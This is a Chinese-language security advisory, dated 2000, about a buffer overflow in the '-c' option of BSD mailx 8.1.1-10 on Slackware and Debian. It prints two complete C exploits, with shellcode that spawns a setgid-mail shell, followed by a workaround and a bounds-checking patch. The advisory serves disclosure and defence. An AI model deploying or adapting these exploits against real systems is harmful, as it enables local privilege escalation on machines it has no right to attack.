安全研究

安全漏洞
Linux mailx 8.1.1-10 "-c"参数缓冲区溢出漏洞

发布日期:2000-06-06
更新日期:2000-06-08

受影响系统:
Berkeley mailx 8.1.1-10
       - Slackware OpenLinux 7.0
       - Slackware Linux 4.0
       - Slackware Linux 3.6
       - Debian Linux 2.2
       - Debian Linux 2.1
       - Debian Linux 2.0r2
不受影响系统:

    Slackware Linux 3.9
    Slackware Linux 3.5
    Slackware Linux 3.4
    Slackware Linux 3.3
    Slackware Linux 3.2
    Slackware Linux 3.1

描述:

   某些Linux分发版附带的 BSD mailx 8.1.1-10 ( Slackware 7.x下是
    /usr/bin/Mail )的"-c"参数在接收到一个很长的字符串时会发生缓冲区
   溢出,导致本地用户获得"mail"组权限。


  <* 来源:Paulo Ribeiro prrar@nitnet.com.br *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

--------------------------------------------------------------------------
/*
* mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type '.' and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=1000(user) gid=12(mail) groups=100(users)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char buffer[10000];
char shellcode[] =
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31"
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1"
"\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long getesp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
        int x;
        long addr = getesp() - 18000;

        memset(buffer, 0x90, 10000);
        memcpy(buffer + 800, shellcode, strlen(shellcode));
        for(x = 876; x < 9998; x += 4)
                *(int *)&buffer[x] = addr;
        fprintf(stderr, "type '.' and enter: ");
        execl("/usr/bin/Mail", "/usr/bin/Mail", "nobody", "-s",
                "blah", "-c", buffer, 0);
}
/* mail-slack.c: EOF */
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/*
  * ..just couse it is no longer secret :>
  *
  * mailx sploit (linux x86)
  * funkySh 3/07/99
  * tested under Slackware 3.6,4.0,7.0  offset = 0-500
  *              Debian  2.0r2,2.1,2.2  offset = -7000  ..ugh ;]
  *
  * buffer overrun in cc-addr option, gives "mail" group privileges
  * (if mailx is installed setgid mail).
  * Remember to define GID - it is different on Slack/Debian
  *
  */

#include <stdio.h>

#define GID    "\x08"  // Debian
file://#define GID    "\x0c"  // Slackware

char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
               "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
                GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
               "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
               "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
               "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
               /* setregid + generic shell code */

#define BUFFER 10000
#define NOP 0x90
#define PATH "/usr/bin/Mail"

char buf[BUFFER];

unsigned long getesp(void) {
    __asm__("movl %esp,%eax");
    }
int main(int argc, char * argv[])
{
   int i, offset = 0;
   long address;
   if(argc > 1) offset = atoi(argv[1]);
   address = getesp() -11000 + offset;
   memset(buf,NOP,BUFFER);
   memcpy(buf+800,code,strlen(code));
   for(i=876;i<BUFFER-2;i+=4)
     *(int *)&buf[i]=address;
   fprintf (stderr, "Hit '.' to get shell..\n");
   execl(PATH, PATH, "x","-s","x","-c", buf,0);
}
--------------------------------------------------------------------------


建议:
临时解决办法:

使用Slackware 4.0的mailx替换:
ftp://ftp.slackware.com/pub/slackware/slackware-4.0/slakware/n1/mailx.tgz


下面这个补丁是针对Debian Linux的 mailx 8.1.1-10 的,但是应该可以用于其他版
本。

Berkeley mailx 8.1.1-10:
Debian patch deb-mailx.patch
--------------------------------------------------------------------------
diff -uNr mailx-8.1.1/extern.h mailx-fixed/extern.h
--- mailx-8.1.1/extern.h        Sun Jun  4 22:16:51 2000
+++ mailx-fixed/extern.h        Sun Jun  4 22:20:09 2000
@@ -80,7 +80,7 @@
  char   *username __P((void));
  char   *value __P((char []));
  char   *vcopy __P((char []));
-char   *yankword __P((char *, char []));
+char   *yankword __P((char *, char [], int));
  int     Fclose __P((FILE *));
  int     More __P((void *));
  int     Pclose __P((FILE *));
diff -uNr mailx-8.1.1/names.c mailx-fixed/names.c
--- mailx-8.1.1/names.c Sun Jun  4 22:16:51 2000
+++ mailx-fixed/names.c Sun Jun  4 22:23:12 2000
@@ -108,7 +108,7 @@
         top = NIL;
         np = NIL;
         cp = line;
-       while ((cp = yankword(cp, nbuf)) != NOSTR) {
+       while ((cp = yankword(cp, nbuf, BUFSIZ)) != NOSTR) {
                 t = nalloc(nbuf, ntype);
                 if (top == NIL)
                         top = t;
@@ -171,10 +171,12 @@
   * Throw away things between ()'s, and take anything between <>.
   */
  char *
-yankword(ap, wbuf)
+yankword(ap, wbuf, maxsize)
         char *ap, wbuf[];
+       int maxsize;
  {
         register char *cp, *cp2;
+       int used = 0;

         cp = ap;
         for (;;) {
@@ -201,10 +203,11 @@
                         break;
         }
         if (*cp ==  '<')
-               for (cp2 = wbuf; *cp && (*cp2++ = *cp++) != '>';)
+               /* Pre-increment "used" so we leave room for the trailing zero */
+               for (cp2 = wbuf; *cp && (++used < maxsize) && (*cp2++ = *cp++) != '>';)
                         ;
         else
-               for (cp2 = wbuf; *cp && !index(" \t,(", *cp); *cp2++ = *cp++)
+               for (cp2 = wbuf; *cp && (++used < maxsize) && !index(" \t,(", *cp); *cp2++ = *cp++)
                         ;
         *cp2 = '\0';
         return cp;
--------------------------------------------------------------------------

浏览次数:6503
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障